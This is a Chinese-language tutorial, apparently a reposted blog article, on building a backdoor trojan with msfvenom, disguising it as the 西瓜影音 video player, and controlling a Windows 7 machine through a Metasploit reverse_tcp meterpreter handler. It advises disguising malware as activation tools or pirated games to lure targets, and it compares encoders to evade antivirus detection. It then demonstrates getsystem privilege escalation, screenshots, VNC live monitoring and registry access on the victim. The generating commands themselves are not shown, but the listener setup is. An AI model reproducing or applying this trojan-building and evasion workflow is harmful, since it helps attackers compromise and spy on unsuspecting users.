目录

1.客户端渗透原理

2.实验环境

3.实战：使用msfvenom生成西瓜影音看片神器后门木马

1.生成西瓜影音.exe后门程序

2.在MSF上启动handler开始监听后门程序

3.展示一下强大的功能

1.查看权限并提权

2.查看文件列表

3.查看系统信息

4.截图

5.实时监控win7电脑

6.其他一些操作

1.客户端渗透原理

在我们无法突破对方的网络边界的时候，往往需要使用客户端渗透这种方式对目标发起攻击。

客户端渗透技巧，我们可以将软件伪装一下，比如说将名字改为：windows激活工具，盗版游戏，抢红包软件，西瓜影音等等，只要能够吸引目标去下载安装就可以。

平时我们去激活系统，下载的激活工具，即使它提示我们有病毒，但是我们还是会去下载，用的就是这个原理。

2.实验环境

一台kali，一台win7，两台主机是在一个局域网内。

3.实战：使用msfvenom生成西瓜影音看片神器后门木马

msfvenon是msfpayload，msfencode的结合体，可利用msfvenom生成木马程序，并在目标机上执行，在本地监听上线。

1.生成西瓜影音.exe后门程序

使用一个编码器

使用两个编码器

参数说明：

-a 指定架构如 x86 x64。x86代表32位，x64代表64位。32位软件可以在64位系统上运行。

--platform 指定平台，这里选择windows，通过 --| platform 可以查看所有支持的平台

-p 设置攻击载荷，我们使用windows/meterpreter/reverse_tcp，可以通过-| payloads查看所有攻击载荷

LHOST 目标主机执行程序后链接我们的kali地址

LPORT 目标主句执行程序后链接我们kali的端口

-b 去掉坏字符，坏字符会影响payload正常执行。

2.kali系统开启apache服务

systemctl  start apache2

3.在win7系统里下载刚刚生成的西瓜影音软件

http://xxx.xxx.xxx.xxx/西瓜影音1.exe

http://xxx.xxx.xxx.xxx/西瓜影音2.exe

4.我们可以通过下面这个网站来扫描一下我们生成的两个exe病毒检测结果。VirSCAN.org-多引擎在线病毒扫描网 v1.02，当前支持 47 款杀毒引擎 https://www.virscan.org/language/zh-cn/

扫描结果：

一个生成器

两个生成器

如图，可以看出，两个生成器被检测出病毒的概率小一点。一般，为了不让电脑把软件当成病毒给杀掉，最好使用两个生成器。

2.在MSF上启动handler开始监听后门程序

1.kali启动Metasploit软件

2.使用模块 use exploit/multi/handler，并查看需要配置的参数show options

3.建立payload

set payload windows/meterpreter/reverse_tcp

4.设置监听主机--kali

set LHOSTS 192.168.1.53

5.开启run

6.在win7电脑里运行刚刚下载的西瓜影音软件。kali系统就建立了会话。

3.展示一下强大的功能

1.查看权限并提权

我们可以看到，此时是Administrator权限。一般电脑的权限分为：普通用户权限，管理员权限和系统权限。

输入help可以查看到有很多功能。其中一个就是getsystem。

输入getsystem，输入getuid，权限就变成了系统权限。

2.查看文件列表

3.查看系统信息

sysinfo

4.截图

（当前win7桌面）screenshot

存放在root目录下

5.实时监控win7电脑(惊喜)

run vnc

6.其他一些操作

shutdown 关机  reboot 重启  reg注册表相关信息

本文由 在线网速测试 整理编辑，转载请注明出处。